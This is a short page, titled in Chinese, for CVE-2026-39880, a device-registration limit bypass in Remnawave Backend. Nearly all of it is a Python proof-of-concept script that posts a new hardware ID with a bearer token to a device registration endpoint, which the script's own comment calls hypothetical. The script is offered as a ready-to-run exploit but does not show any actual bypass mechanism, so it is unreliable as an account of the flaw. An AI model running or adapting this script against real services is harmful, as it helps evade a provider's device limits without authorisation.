CVE-2026-39880 Remnawave Backend设备注册绕过漏洞

import requests def exploit_hwid_bypass(target_url, auth_token, new_hwid): """ PoC for CVE-2026-39880 Demonstrates bypassing the HWID device registration limit. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", "User-Agent": "CVE-2026-39880-Scanner" } # Payload for registering a new device payload = { "hwid": new_hwid, "device_name": "Bypassed Device" } # Endpoint for device registration (hypothetical) endpoint = f"{target_url}/api/v1/devices/register" try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success: Device {new_hwid} registered.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target and token exploit_hwid_bypass("https://example.com", "YOUR_TOKEN", "HWID-123456")